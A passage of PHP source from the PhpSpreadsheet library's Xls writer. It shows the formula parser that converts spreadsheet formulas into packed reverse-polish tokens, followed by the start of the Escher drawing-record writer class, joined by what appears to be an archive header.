'Sheet1'!$A$1 or 'Sheet1:Sheet2'!$A$1 if (preg_match("/^'" . self::REGEX_SHEET_TITLE_QUOTED . '(\\:' . self::REGEX_SHEET_TITLE_QUOTED . ")?'\\!\\$?[A-Ia-i]?[A-Za-z]\\$?(\\d+)$/u", $token)) { return $this->convertRef3d($token); } // match ranges like A1:B2 or $A$1:$B$2 if (preg_match('/^(\$)?[A-Ia-i]?[A-Za-z](\$)?(\d+)\:(\$)?[A-Ia-i]?[A-Za-z](\$)?(\d+)$/', $token)) { return $this->convertRange2d($token); } // match external ranges like Sheet1!A1:B2 or Sheet1:Sheet2!A1:B2 or Sheet1!$A$1:$B$2 or Sheet1:Sheet2!$A$1:$B$2 if (preg_match('/^' . self::REGEX_SHEET_TITLE_UNQUOTED . '(\\:' . self::REGEX_SHEET_TITLE_UNQUOTED . ')?\\!\$?([A-Ia-i]?[A-Za-z])?\$?(\\d+)\\:\$?([A-Ia-i]?[A-Za-z])?\$?(\\d+)$/u', $token)) { return $this->convertRange3d($token); } // match external ranges like 'Sheet1'!A1:B2 or 'Sheet1:Sheet2'!A1:B2 or 'Sheet1'!$A$1:$B$2 or 'Sheet1:Sheet2'!$A$1:$B$2 if (preg_match("/^'" . self::REGEX_SHEET_TITLE_QUOTED . '(\\:' . self::REGEX_SHEET_TITLE_QUOTED . ")?'\\!\\$?([A-Ia-i]?[A-Za-z])?\\$?(\\d+)\\:\\$?([A-Ia-i]?[A-Za-z])?\\$?(\\d+)$/u", $token)) { return $this->convertRange3d($token); } // operators (including parentheses) if (isset($this->ptg[$token])) { return pack('C', $this->ptg[$token]); } // match error codes if (preg_match('/^#[A-Z0\\/]{3,5}[!?]{1}$/', $token) || $token == '#N/A') { return $this->convertError($token); } if (preg_match('/^' . Calculation::CALCULATION_REGEXP_DEFINEDNAME . '$/mui', $token) && $this->spreadsheet->getDefinedName($token) !== null) { return $this->convertDefinedName($token); } // commented so argument number can be processed correctly. See toReversePolish(). /*if (preg_match("/[A-Z0-9\xc0-\xdc\.]+/", $token)) { return($this->convertFunction($token, $this->_func_args)); }*/ // if it's an argument, ignore the token (the argument remains) if ($token == 'arg') { return ''; } if (preg_match('/^true$/i', $token)) { return $this->convertBool(1); } if (preg_match('/^false$/i', $token)) { return $this->convertBool(0); } // TODO: use real error codes throw new WriterException("Unknown token $token"); } /** * Convert a number token to ptgInt or ptgNum. * * @param mixed $num an integer or double for conversion to its ptg value */ private function convertNumber(mixed $num): string { // Integer in the range 0..2**16-1 if ((preg_match('/^\\d+$/', $num)) && ($num <= 65535)) { return pack('Cv', $this->ptg['ptgInt'], $num); } // A float if (BIFFwriter::getByteOrder()) { // if it's Big Endian $num = strrev($num); } return pack('Cd', $this->ptg['ptgNum'], $num); } private function convertBool(int $num): string { return pack('CC', $this->ptg['ptgBool'], $num); } /** * Convert a string token to ptgStr. * * @param string $string a string for conversion to its ptg value * * @return string the converted token */ private function convertString(string $string): string { // chop away beggining and ending quotes $string = substr($string, 1, -1); if (strlen($string) > 255) { throw new WriterException('String is too long'); } return pack('C', $this->ptg['ptgStr']) . StringHelper::UTF8toBIFF8UnicodeShort($string); } /** * Convert a function to a ptgFunc or ptgFuncVarV depending on the number of * args that it takes. * * @param string $token the name of the function for convertion to ptg value * @param int $num_args the number of arguments the function receives * * @return string The packed ptg for the function */ private function convertFunction(string $token, int $num_args): string { $args = $this->functions[$token][1]; // Fixed number of args eg. TIME($i, $j, $k). if ($args >= 0) { return pack('Cv', $this->ptg['ptgFuncV'], $this->functions[$token][0]); } // Variable number of args eg. SUM($i, $j, $k, ..). return pack('CCv', $this->ptg['ptgFuncVarV'], $num_args, $this->functions[$token][0]); } /** * Convert an Excel range such as A1:D4 to a ptgRefV. * * @param string $range An Excel range in the A1:A2 */ private function convertRange2d(string $range, int $class = 0): string { // TODO: possible class value 0,1,2 check Formula.pm // Split the range into 2 cell refs if (preg_match('/^(\$)?([A-Ia-i]?[A-Za-z])(\$)?(\d+)\:(\$)?([A-Ia-i]?[A-Za-z])(\$)?(\d+)$/', $range)) { [$cell1, $cell2] = explode(':', $range); } else { // TODO: use real error codes throw new WriterException('Unknown range separator'); } // Convert the cell references [$row1, $col1] = $this->cellToPackedRowcol($cell1); [$row2, $col2] = $this->cellToPackedRowcol($cell2); // The ptg value depends on the class of the ptg. if ($class == 0) { $ptgArea = pack('C', $this->ptg['ptgArea']); } elseif ($class == 1) { $ptgArea = pack('C', $this->ptg['ptgAreaV']); } elseif ($class == 2) { $ptgArea = pack('C', $this->ptg['ptgAreaA']); } else { // TODO: use real error codes throw new WriterException("Unknown class $class"); } return $ptgArea . $row1 . $row2 . $col1 . $col2; } /** * Convert an Excel 3d range such as "Sheet1!A1:D4" or "Sheet1:Sheet2!A1:D4" to * a ptgArea3d. * * @param string $token an Excel range in the Sheet1!A1:A2 format * * @return string the packed ptgArea3d token on success */ private function convertRange3d(string $token): string { // Split the ref at the ! symbol [$ext_ref, $range] = PhpspreadsheetWorksheet::extractSheetTitle($token, true); // Convert the external reference part (different for BIFF8) $ext_ref = $this->getRefIndex($ext_ref ?? ''); // Split the range into 2 cell refs [$cell1, $cell2] = explode(':', $range ?? ''); // Convert the cell references if (preg_match('/^(\$)?[A-Ia-i]?[A-Za-z](\$)?(\\d+)$/', $cell1)) { [$row1, $col1] = $this->cellToPackedRowcol($cell1); [$row2, $col2] = $this->cellToPackedRowcol($cell2); } else { // It's a rows range (like 26:27) [$row1, $col1, $row2, $col2] = $this->rangeToPackedRange($cell1 . ':' . $cell2); } // The ptg value depends on the class of the ptg. $ptgArea = pack('C', $this->ptg['ptgArea3d']); return $ptgArea . $ext_ref . $row1 . $row2 . $col1 . $col2; } /** * Convert an Excel reference such as A1, $B2, C$3 or $D$4 to a ptgRefV. * * @param string $cell An Excel cell reference * * @return string The cell in packed() format with the corresponding ptg */ private function convertRef2d(string $cell): string { // Convert the cell reference $cell_array = $this->cellToPackedRowcol($cell); [$row, $col] = $cell_array; // The ptg value depends on the class of the ptg. $ptgRef = pack('C', $this->ptg['ptgRefA']); return $ptgRef . $row . $col; } /** * Convert an Excel 3d reference such as "Sheet1!A1" or "Sheet1:Sheet2!A1" to a * ptgRef3d. * * @param string $cell An Excel cell reference * * @return string the packed ptgRef3d token on success */ private function convertRef3d(string $cell): string { // Split the ref at the ! symbol [$ext_ref, $cell] = PhpspreadsheetWorksheet::extractSheetTitle($cell, true); // Convert the external reference part (different for BIFF8) $ext_ref = $this->getRefIndex($ext_ref ?? ''); // Convert the cell reference part [$row, $col] = $this->cellToPackedRowcol($cell ?? ''); // The ptg value depends on the class of the ptg. $ptgRef = pack('C', $this->ptg['ptgRef3dA']); return $ptgRef . $ext_ref . $row . $col; } /** * Convert an error code to a ptgErr. * * @param string $errorCode The error code for conversion to its ptg value * * @return string The error code ptgErr */ private function convertError(string $errorCode): string { return match ($errorCode) { '#NULL!' => pack('C', 0x00), '#DIV/0!' => pack('C', 0x07), '#VALUE!' => pack('C', 0x0F), '#REF!' => pack('C', 0x17), '#NAME?' => pack('C', 0x1D), '#NUM!' => pack('C', 0x24), '#N/A' => pack('C', 0x2A), default => pack('C', 0xFF), }; } private bool $tryDefinedName = false; private function convertDefinedName(string $name): string { if (strlen($name) > 255) { throw new WriterException('Defined Name is too long'); } if ($this->tryDefinedName) { // @codeCoverageIgnoreStart $nameReference = 1; foreach ($this->spreadsheet->getDefinedNames() as $definedName) { if ($name === $definedName->getName()) { break; } ++$nameReference; } $ptgRef = pack('Cvxx', $this->ptg['ptgName'], $nameReference); return $ptgRef; // @codeCoverageIgnoreEnd } throw new WriterException('Cannot yet write formulae with defined names to Xls'); } /** * Look up the REF index that corresponds to an external sheet name * (or range). If it doesn't exist yet add it to the workbook's references * array. It assumes all sheet names given must exist. * * @param string $ext_ref The name of the external reference * * @return string The reference index in packed() format on success */ private function getRefIndex(string $ext_ref): string { $ext_ref = (string) preg_replace(["/^'/", "/'$/"], ['', ''], $ext_ref); // Remove leading and trailing ' if any. $ext_ref = str_replace('\'\'', '\'', $ext_ref); // Replace escaped '' with ' // Check if there is a sheet range eg., Sheet1:Sheet2. if (preg_match('/:/', $ext_ref)) { [$sheet_name1, $sheet_name2] = explode(':', $ext_ref); $sheet1 = $this->getSheetIndex($sheet_name1); if ($sheet1 == -1) { throw new WriterException("Unknown sheet name $sheet_name1 in formula"); } $sheet2 = $this->getSheetIndex($sheet_name2); if ($sheet2 == -1) { throw new WriterException("Unknown sheet name $sheet_name2 in formula"); } // Reverse max and min sheet numbers if necessary if ($sheet1 > $sheet2) { [$sheet1, $sheet2] = [$sheet2, $sheet1]; } } else { // Single sheet name only. $sheet1 = $this->getSheetIndex($ext_ref); if ($sheet1 == -1) { throw new WriterException("Unknown sheet name $ext_ref in formula"); } $sheet2 = $sheet1; } // assume all references belong to this document $supbook_index = 0x00; $ref = pack('vvv', $supbook_index, $sheet1, $sheet2); $totalreferences = count($this->references); $index = -1; for ($i = 0; $i < $totalreferences; ++$i) { if ($ref == $this->references[$i]) { $index = $i; break; } } // if REF was not found add it to references array if ($index == -1) { $this->references[$totalreferences] = $ref; $index = $totalreferences; } return pack('v', $index); } /** * Look up the index that corresponds to an external sheet name. The hash of * sheet names is updated by the addworksheet() method of the * \PhpOffice\PhpSpreadsheet\Writer\Xls\Workbook class. * * @param string $sheet_name Sheet name * * @return int The sheet index, -1 if the sheet was not found */ private function getSheetIndex(string $sheet_name): int { if (!isset($this->externalSheets[$sheet_name])) { return -1; } return $this->externalSheets[$sheet_name]; } /** * This method is used to update the array of sheet names. It is * called by the addWorksheet() method of the * \PhpOffice\PhpSpreadsheet\Writer\Xls\Workbook class. * * @param string $name The name of the worksheet being added * @param int $index The index of the worksheet being added * * @see Workbook::addWorksheet */ public function setExtSheet(string $name, int $index): void { $this->externalSheets[$name] = $index; } /** * pack() row and column into the required 3 or 4 byte format. * * @param string $cell The Excel cell reference to be packed * * @return array Array containing the row and column in packed() format */ private function cellToPackedRowcol(string $cell): array { $cell = strtoupper($cell); [$row, $col, $row_rel, $col_rel] = $this->cellToRowcol($cell); if ($col >= 256) { throw new WriterException("Column in: $cell greater than 255"); } if ($row >= 65536) { throw new WriterException("Row in: $cell greater than 65536 "); } // Set the high bits to indicate if row or col are relative. $col |= $col_rel << 14; $col |= $row_rel << 15; $col = pack('v', $col); $row = pack('v', $row); return [$row, $col]; } /** * pack() row range into the required 3 or 4 byte format. * Just using maximum col/rows, which is probably not the correct solution. * * @param string $range The Excel range to be packed * * @return array Array containing (row1,col1,row2,col2) in packed() format */ private function rangeToPackedRange(string $range): array { preg_match('/(\$)?(\d+)\:(\$)?(\d+)/', $range, $match); // return absolute rows if there is a $ in the ref $row1_rel = empty($match[1]) ? 1 : 0; $row1 = $match[2]; $row2_rel = empty($match[3]) ? 1 : 0; $row2 = $match[4]; // Convert 1-index to zero-index --$row1; --$row2; // Trick poor inocent Excel $col1 = 0; $col2 = 65535; // FIXME: maximum possible value for Excel 5 (change this!!!) // FIXME: this changes for BIFF8 if (($row1 >= 65536) || ($row2 >= 65536)) { throw new WriterException("Row in: $range greater than 65536 "); } // Set the high bits to indicate if rows are relative. $col1 |= $row1_rel << 15; $col2 |= $row2_rel << 15; $col1 = pack('v', $col1); $col2 = pack('v', $col2); $row1 = pack('v', $row1); $row2 = pack('v', $row2); return [$row1, $col1, $row2, $col2]; } /** * Convert an Excel cell reference such as A1 or $B2 or C$3 or $D$4 to a zero * indexed row and column number. Also returns two (0,1) values to indicate * whether the row or column are relative references. * * @param string $cell the Excel cell reference in A1 format */ private function cellToRowcol(string $cell): array { preg_match('/(\$)?([A-I]?[A-Z])(\$)?(\d+)/', $cell, $match); // return absolute column if there is a $ in the ref $col_rel = empty($match[1]) ? 1 : 0; $col_ref = $match[2]; $row_rel = empty($match[3]) ? 1 : 0; $row = $match[4]; // Convert base26 column string to a number. $expn = strlen($col_ref) - 1; $col = 0; $col_ref_length = strlen($col_ref); for ($i = 0; $i < $col_ref_length; ++$i) { $col += (ord($col_ref[$i]) - 64) * 26 ** $expn; --$expn; } // Convert 1-index to zero-index --$row; --$col; return [$row, $col, $row_rel, $col_rel]; } /** * Advance to the next valid token. */ private function advance(): void { $token = ''; $i = $this->currentCharacter; $formula_length = strlen($this->formula); // eat up white spaces if ($i < $formula_length) { while ($this->formula[$i] == ' ') { ++$i; } if ($i < ($formula_length - 1)) { $this->lookAhead = $this->formula[$i + 1]; } $token = ''; } while ($i < $formula_length) { $token .= $this->formula[$i]; if ($i < ($formula_length - 1)) { $this->lookAhead = $this->formula[$i + 1]; } else { $this->lookAhead = ''; } if ($this->match($token) != '') { $this->currentCharacter = $i + 1; $this->currentToken = $token; return; } if ($i < ($formula_length - 2)) { $this->lookAhead = $this->formula[$i + 2]; } else { // if we run out of characters lookAhead becomes empty $this->lookAhead = ''; } ++$i; } } /** * Checks if it's a valid token. * * @param string $token the token to check * * @return string The checked token or empty string on failure */ private function match(string $token): string { switch ($token) { case '+': case '-': case '*': case '/': case '(': case ')': case ',': case ';': case '>=': case '<=': case '=': case '<>': case '^': case '&': case '%': return $token; case '>': if ($this->lookAhead === '=') { // it's a GE token break; } return $token; case '<': // it's a LE or a NE token if (($this->lookAhead === '=') || ($this->lookAhead === '>')) { break; } return $token; } // if it's a reference A1 or $A$1 or $A1 or A$1 if (preg_match('/^\$?[A-Ia-i]?[A-Za-z]\$?\d+$/', $token) && !preg_match('/\d/', $this->lookAhead) && ($this->lookAhead !== ':') && ($this->lookAhead !== '.') && ($this->lookAhead !== '!')) { return $token; } // If it's an external reference (Sheet1!A1 or Sheet1:Sheet2!A1 or Sheet1!$A$1 or Sheet1:Sheet2!$A$1) if (preg_match('/^' . self::REGEX_SHEET_TITLE_UNQUOTED . '(\\:' . self::REGEX_SHEET_TITLE_UNQUOTED . ')?\\!\$?[A-Ia-i]?[A-Za-z]\$?\\d+$/u', $token) && !preg_match('/\d/', $this->lookAhead) && ($this->lookAhead !== ':') && ($this->lookAhead !== '.')) { return $token; } // If it's an external reference ('Sheet1'!A1 or 'Sheet1:Sheet2'!A1 or 'Sheet1'!$A$1 or 'Sheet1:Sheet2'!$A$1) if (preg_match("/^'" . self::REGEX_SHEET_TITLE_QUOTED . '(\\:' . self::REGEX_SHEET_TITLE_QUOTED . ")?'\\!\\$?[A-Ia-i]?[A-Za-z]\\$?\\d+$/u", $token) && !preg_match('/\d/', $this->lookAhead) && ($this->lookAhead !== ':') && ($this->lookAhead !== '.')) { return $token; } // if it's a range A1:A2 or $A$1:$A$2 if (preg_match('/^(\$)?[A-Ia-i]?[A-Za-z](\$)?\d+:(\$)?[A-Ia-i]?[A-Za-z](\$)?\d+$/', $token) && !preg_match('/\d/', $this->lookAhead)) { return $token; } // If it's an external range like Sheet1!A1:B2 or Sheet1:Sheet2!A1:B2 or Sheet1!$A$1:$B$2 or Sheet1:Sheet2!$A$1:$B$2 if (preg_match('/^' . self::REGEX_SHEET_TITLE_UNQUOTED . '(\\:' . self::REGEX_SHEET_TITLE_UNQUOTED . ')?\\!\$?([A-Ia-i]?[A-Za-z])?\$?\\d+:\$?([A-Ia-i]?[A-Za-z])?\$?\\d+$/u', $token) && !preg_match('/\d/', $this->lookAhead)) { return $token; } // If it's an external range like 'Sheet1'!A1:B2 or 'Sheet1:Sheet2'!A1:B2 or 'Sheet1'!$A$1:$B$2 or 'Sheet1:Sheet2'!$A$1:$B$2 if (preg_match("/^'" . self::REGEX_SHEET_TITLE_QUOTED . '(\\:' . self::REGEX_SHEET_TITLE_QUOTED . ")?'\\!\\$?([A-Ia-i]?[A-Za-z])?\\$?\\d+:\\$?([A-Ia-i]?[A-Za-z])?\\$?\\d+$/u", $token) && !preg_match('/\d/', $this->lookAhead)) { return $token; } // If it's a number (check that it's not a sheet name or range) if (is_numeric($token) && (!is_numeric($token . $this->lookAhead) || ($this->lookAhead == '')) && ($this->lookAhead !== '!') && ($this->lookAhead !== ':')) { return $token; } if (preg_match('/"([^"]|""){0,255}"/', $token) && $this->lookAhead !== '"' && (substr_count($token, '"') % 2 == 0)) { // If it's a string (of maximum 255 characters) return $token; } // If it's an error code if (preg_match('/^#[A-Z0\\/]{3,5}[!?]{1}$/', $token) || $token === '#N/A') { return $token; } // if it's a function call if (preg_match("/^[A-Z0-9\xc0-\xdc\\.]+$/i", $token) && ($this->lookAhead === '(')) { return $token; } if (preg_match('/^' . Calculation::CALCULATION_REGEXP_DEFINEDNAME . '$/miu', $token) && $this->spreadsheet->getDefinedName($token) !== null) { return $token; } if (preg_match('/^true$/i', $token) && ($this->lookAhead === ')' || $this->lookAhead === ',')) { return $token; } if (preg_match('/^false$/i', $token) && ($this->lookAhead === ')' || $this->lookAhead === ',')) { return $token; } if (str_ends_with($token, ')')) { // It's an argument of some description (e.g. a named range), // precise nature yet to be determined return $token; } return ''; } /** * The parsing method. It parses a formula. * * @param string $formula the formula to parse, without the initial equal * sign (=) * * @return bool true on success */ public function parse(string $formula): bool { $this->currentCharacter = 0; $this->formula = (string) $formula; $this->lookAhead = $formula[1] ?? ''; $this->advance(); $this->parseTree = $this->condition(); return true; } /** * It parses a condition. It assumes the following rule: * Cond -> Expr [(">" | "<") Expr]. * * @return array The parsed ptg'd tree on success */ private function condition(): array { $result = $this->expression(); if ($this->currentToken == '<') { $this->advance(); $result2 = $this->expression(); $result = $this->createTree('ptgLT', $result, $result2); } elseif ($this->currentToken == '>') { $this->advance(); $result2 = $this->expression(); $result = $this->createTree('ptgGT', $result, $result2); } elseif ($this->currentToken == '<=') { $this->advance(); $result2 = $this->expression(); $result = $this->createTree('ptgLE', $result, $result2); } elseif ($this->currentToken == '>=') { $this->advance(); $result2 = $this->expression(); $result = $this->createTree('ptgGE', $result, $result2); } elseif ($this->currentToken == '=') { $this->advance(); $result2 = $this->expression(); $result = $this->createTree('ptgEQ', $result, $result2); } elseif ($this->currentToken == '<>') { $this->advance(); $result2 = $this->expression(); $result = $this->createTree('ptgNE', $result, $result2); } return $result; } /** * It parses a expression. It assumes the following rule: * Expr -> Term [("+" | "-") Term] * -> "string" * -> "-" Term : Negative value * -> "+" Term : Positive value * -> Error code. * * @return array The parsed ptg'd tree on success */ private function expression(): array { // If it's a string return a string node if (preg_match('/"([^"]|""){0,255}"/', $this->currentToken)) { $tmp = str_replace('""', '"', $this->currentToken); if (($tmp == '"') || ($tmp == '')) { // Trap for "" that has been used for an empty string $tmp = '""'; } $result = $this->createTree($tmp, '', ''); $this->advance(); return $result; } elseif (preg_match('/^#[A-Z0\\/]{3,5}[!?]{1}$/', $this->currentToken) || $this->currentToken == '#N/A') { // error code $result = $this->createTree($this->currentToken, 'ptgErr', ''); $this->advance(); return $result; } elseif ($this->currentToken == '-') { // negative value // catch "-" Term $this->advance(); $result2 = $this->expression(); return $this->createTree('ptgUminus', $result2, ''); } elseif ($this->currentToken == '+') { // positive value // catch "+" Term $this->advance(); $result2 = $this->expression(); return $this->createTree('ptgUplus', $result2, ''); } $result = $this->term(); while ($this->currentToken === '&') { $this->advance(); $result2 = $this->expression(); $result = $this->createTree('ptgConcat', $result, $result2); } while ( ($this->currentToken == '+') || ($this->currentToken == '-') || ($this->currentToken == '^') ) { if ($this->currentToken == '+') { $this->advance(); $result2 = $this->term(); $result = $this->createTree('ptgAdd', $result, $result2); } elseif ($this->currentToken == '-') { $this->advance(); $result2 = $this->term(); $result = $this->createTree('ptgSub', $result, $result2); } else { $this->advance(); $result2 = $this->term(); $result = $this->createTree('ptgPower', $result, $result2); } } return $result; } /** * This function just introduces a ptgParen element in the tree, so that Excel * doesn't get confused when working with a parenthesized formula afterwards. * * @return array The parsed ptg'd tree * * @see fact() */ private function parenthesizedExpression(): array { return $this->createTree('ptgParen', $this->expression(), ''); } /** * It parses a term. It assumes the following rule: * Term -> Fact [("*" | "/") Fact]. * * @return array The parsed ptg'd tree on success */ private function term(): array { $result = $this->fact(); while ( ($this->currentToken == '*') || ($this->currentToken == '/') ) { if ($this->currentToken == '*') { $this->advance(); $result2 = $this->fact(); $result = $this->createTree('ptgMul', $result, $result2); } else { $this->advance(); $result2 = $this->fact(); $result = $this->createTree('ptgDiv', $result, $result2); } } return $result; } /** * It parses a factor. It assumes the following rule: * Fact -> ( Expr ) * | CellRef * | CellRange * | Number * | Function. * * @return array The parsed ptg'd tree on success */ private function fact(): array { $currentToken = $this->currentToken; if ($currentToken === '(') { $this->advance(); // eat the "(" $result = $this->parenthesizedExpression(); if ($this->currentToken !== ')') { throw new WriterException("')' token expected."); } $this->advance(); // eat the ")" return $result; } // if it's a reference if (preg_match('/^\$?[A-Ia-i]?[A-Za-z]\$?\d+$/', $this->currentToken)) { $result = $this->createTree($this->currentToken, '', ''); $this->advance(); return $result; } if (preg_match('/^' . self::REGEX_SHEET_TITLE_UNQUOTED . '(\\:' . self::REGEX_SHEET_TITLE_UNQUOTED . ')?\\!\$?[A-Ia-i]?[A-Za-z]\$?\\d+$/u', $this->currentToken)) { // If it's an external reference (Sheet1!A1 or Sheet1:Sheet2!A1 or Sheet1!$A$1 or Sheet1:Sheet2!$A$1) $result = $this->createTree($this->currentToken, '', ''); $this->advance(); return $result; } if (preg_match("/^'" . self::REGEX_SHEET_TITLE_QUOTED . '(\\:' . self::REGEX_SHEET_TITLE_QUOTED . ")?'\\!\\$?[A-Ia-i]?[A-Za-z]\\$?\\d+$/u", $this->currentToken)) { // If it's an external reference ('Sheet1'!A1 or 'Sheet1:Sheet2'!A1 or 'Sheet1'!$A$1 or 'Sheet1:Sheet2'!$A$1) $result = $this->createTree($this->currentToken, '', ''); $this->advance(); return $result; } if ( preg_match('/^(\$)?[A-Ia-i]?[A-Za-z](\$)?\d+:(\$)?[A-Ia-i]?[A-Za-z](\$)?\d+$/', $this->currentToken) || preg_match('/^(\$)?[A-Ia-i]?[A-Za-z](\$)?\d+\.\.(\$)?[A-Ia-i]?[A-Za-z](\$)?\d+$/', $this->currentToken) ) { // if it's a range A1:B2 or $A$1:$B$2 // must be an error? $result = $this->createTree($this->currentToken, '', ''); $this->advance(); return $result; } if (preg_match('/^' . self::REGEX_SHEET_TITLE_UNQUOTED . '(\\:' . self::REGEX_SHEET_TITLE_UNQUOTED . ')?\\!\$?([A-Ia-i]?[A-Za-z])?\$?\\d+:\$?([A-Ia-i]?[A-Za-z])?\$?\\d+$/u', $this->currentToken)) { // If it's an external range (Sheet1!A1:B2 or Sheet1:Sheet2!A1:B2 or Sheet1!$A$1:$B$2 or Sheet1:Sheet2!$A$1:$B$2) // must be an error? $result = $this->createTree($this->currentToken, '', ''); $this->advance(); return $result; } if (preg_match("/^'" . self::REGEX_SHEET_TITLE_QUOTED . '(\\:' . self::REGEX_SHEET_TITLE_QUOTED . ")?'\\!\\$?([A-Ia-i]?[A-Za-z])?\\$?\\d+:\\$?([A-Ia-i]?[A-Za-z])?\\$?\\d+$/u", $this->currentToken)) { // If it's an external range ('Sheet1'!A1:B2 or 'Sheet1'!A1:B2 or 'Sheet1'!$A$1:$B$2 or 'Sheet1'!$A$1:$B$2) // must be an error? $result = $this->createTree($this->currentToken, '', ''); $this->advance(); return $result; } if (is_numeric($this->currentToken)) { // If it's a number or a percent if ($this->lookAhead === '%') { $result = $this->createTree('ptgPercent', $this->currentToken, ''); $this->advance(); // Skip the percentage operator once we've pre-built that tree } else { $result = $this->createTree($this->currentToken, '', ''); } $this->advance(); return $result; } if (preg_match("/^[A-Z0-9\xc0-\xdc\\.]+$/i", $this->currentToken) && ($this->lookAhead === '(')) { // if it's a function call return $this->func(); } if (preg_match('/^' . Calculation::CALCULATION_REGEXP_DEFINEDNAME . '$/miu', $this->currentToken) && $this->spreadsheet->getDefinedName($this->currentToken) !== null) { $result = $this->createTree('ptgName', $this->currentToken, ''); $this->advance(); return $result; } if (preg_match('/^true|false$/i', $this->currentToken)) { $result = $this->createTree($this->currentToken, '', ''); $this->advance(); return $result; } throw new WriterException('Syntax error: ' . $this->currentToken . ', lookahead: ' . $this->lookAhead . ', current char: ' . $this->currentCharacter); } /** * It parses a function call. It assumes the following rule: * Func -> ( Expr [,Expr]* ). * * @return array The parsed ptg'd tree on success */ private function func(): array { $num_args = 0; // number of arguments received $function = strtoupper($this->currentToken); $result = ''; // initialize result $this->advance(); $this->advance(); // eat the "(" while ($this->currentToken !== ')') { if ($num_args > 0) { if ($this->currentToken === ',' || $this->currentToken === ';') { $this->advance(); // eat the "," or ";" } else { throw new WriterException("Syntax error: comma expected in function $function, arg #{$num_args}"); } $result2 = $this->condition(); $result = $this->createTree('arg', $result, $result2); } else { // first argument $result2 = $this->condition(); $result = $this->createTree('arg', '', $result2); } ++$num_args; } if (!isset($this->functions[$function])) { throw new WriterException("Function $function() doesn't exist"); } $args = $this->functions[$function][1]; // If fixed number of args eg. TIME($i, $j, $k). Check that the number of args is valid. if (($args >= 0) && ($args != $num_args)) { throw new WriterException("Incorrect number of arguments in function $function() "); } $result = $this->createTree($function, $result, $num_args); $this->advance(); // eat the ")" return $result; } /** * Creates a tree. In fact an array which may have one or two arrays (sub-trees) * as elements. * * @param mixed $value the value of this node * @param mixed $left the left array (sub-tree) or a final node * @param mixed $right the right array (sub-tree) or a final node * * @return array A tree */ private function createTree(mixed $value, mixed $left, mixed $right): array { return ['value' => $value, 'left' => $left, 'right' => $right]; } /** * Builds a string containing the tree in reverse polish notation (What you * would use in a HP calculator stack). * The following tree:. * * + * / \ * 2 3 * * produces: "23+" * * The following tree: * * + * / \ * 3 * * / \ * 6 A1 * * produces: "36A1*+" * * In fact all operands, functions, references, etc... are written as ptg's * * @param array $tree the optional tree to convert * * @return string The tree in reverse polish notation */ public function toReversePolish(array $tree = []): string { $polish = ''; // the string we are going to return if (empty($tree)) { // If it's the first call use parseTree $tree = $this->parseTree; } if (!is_array($tree) || !isset($tree['left'], $tree['right'], $tree['value'])) { throw new WriterException('Unexpected non-array'); } if (is_array($tree['left'])) { $converted_tree = $this->toReversePolish($tree['left']); $polish .= $converted_tree; } elseif ($tree['left'] != '') { // It's a final node $converted_tree = $this->convert($tree['left']); $polish .= $converted_tree; } if (is_array($tree['right'])) { $converted_tree = $this->toReversePolish($tree['right']); $polish .= $converted_tree; } elseif ($tree['right'] != '') { // It's a final node $converted_tree = $this->convert($tree['right']); $polish .= $converted_tree; } // if it's a function convert it here (so we can set it's arguments) if ( preg_match("/^[A-Z0-9\xc0-\xdc\\.]+$/", $tree['value']) && !preg_match('/^([A-Ia-i]?[A-Za-z])(\d+)$/', $tree['value']) && !preg_match('/^[A-Ia-i]?[A-Za-z](\\d+)\\.\\.[A-Ia-i]?[A-Za-z](\\d+)$/', $tree['value']) && !is_numeric($tree['value']) && !isset($this->ptg[$tree['value']]) ) { // left subtree for a function is always an array. if ($tree['left'] != '') { $left_tree = $this->toReversePolish($tree['left']); } else { $left_tree = ''; } // add its left subtree and return. return $left_tree . $this->convertFunction($tree['value'], $tree['right']); } $converted_tree = $this->convert($tree['value']); return $polish . $converted_tree; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xls/Escher.php000064400000040774151676714400021227 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xls; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Shared\Escher as SharedEscher; use PhpOffice\PhpSpreadsheet\Shared\Escher\DgContainer; use PhpOffice\PhpSpreadsheet\Shared\Escher\DgContainer\SpgrContainer; use PhpOffice\PhpSpreadsheet\Shared\Escher\DgContainer\SpgrContainer\SpContainer; use PhpOffice\PhpSpreadsheet\Shared\Escher\DggContainer; use PhpOffice\PhpSpreadsheet\Shared\Escher\DggContainer\BstoreContainer; use PhpOffice\PhpSpreadsheet\Shared\Escher\DggContainer\BstoreContainer\BSE; use PhpOffice\PhpSpreadsheet\Shared\Escher\DggContainer\BstoreContainer\BSE\Blip; class Escher { /** * The object we are writing. */ private Blip|BSE|BstoreContainer|DgContainer|DggContainer|Escher|SpContainer|SpgrContainer|SharedEscher $object; /** * The written binary data. */ private string $data; /** * Shape offsets. Positions in binary stream where a new shape record begins. */ private array $spOffsets; /** * Shape types. */ private array $spTypes; /** * Constructor. */ public function __construct(Blip|BSE|BstoreContainer|DgContainer|DggContainer|self|SpContainer|SpgrContainer|SharedEscher $object) { $this->object = $object; } /** * Process the object to be written. */ public function close(): string { // initialize $this->data = ''; switch ($this->object::class) { case SharedEscher::class: if ($dggContainer = $this->object->getDggContainer()) { $writer = new self($dggContainer); $this->data = $writer->close(); } elseif ($dgContainer = $this->object->getDgContainer()) { $writer = new self($dgContainer); $this->data = $writer->close(); $this->spOffsets = $writer->getSpOffsets(); $this->spTypes = $writer->getSpTypes(); } break; case DggContainer::class: // this is a container record // initialize $innerData = ''; // write the dgg $recVer = 0x0; $recInstance = 0x0000; $recType = 0xF006; $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; // dgg data $dggData = pack( 'VVVV', $this->object->getSpIdMax(), // maximum shape identifier increased by one $this->object->getCDgSaved() + 1, // number of file identifier clusters increased by one $this->object->getCSpSaved(), $this->object->getCDgSaved() // count total number of drawings saved ); // add file identifier clusters (one per drawing) $IDCLs = $this->object->getIDCLs(); foreach ($IDCLs as $dgId => $maxReducedSpId) { $dggData .= pack('VV', $dgId, $maxReducedSpId + 1); } $header = pack('vvV', $recVerInstance, $recType, strlen($dggData)); $innerData .= $header . $dggData; // write the bstoreContainer if ($bstoreContainer = $this->object->getBstoreContainer()) { $writer = new self($bstoreContainer); $innerData .= $writer->close(); } // write the record $recVer = 0xF; $recInstance = 0x0000; $recType = 0xF000; $length = strlen($innerData); $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); $this->data = $header . $innerData; break; case 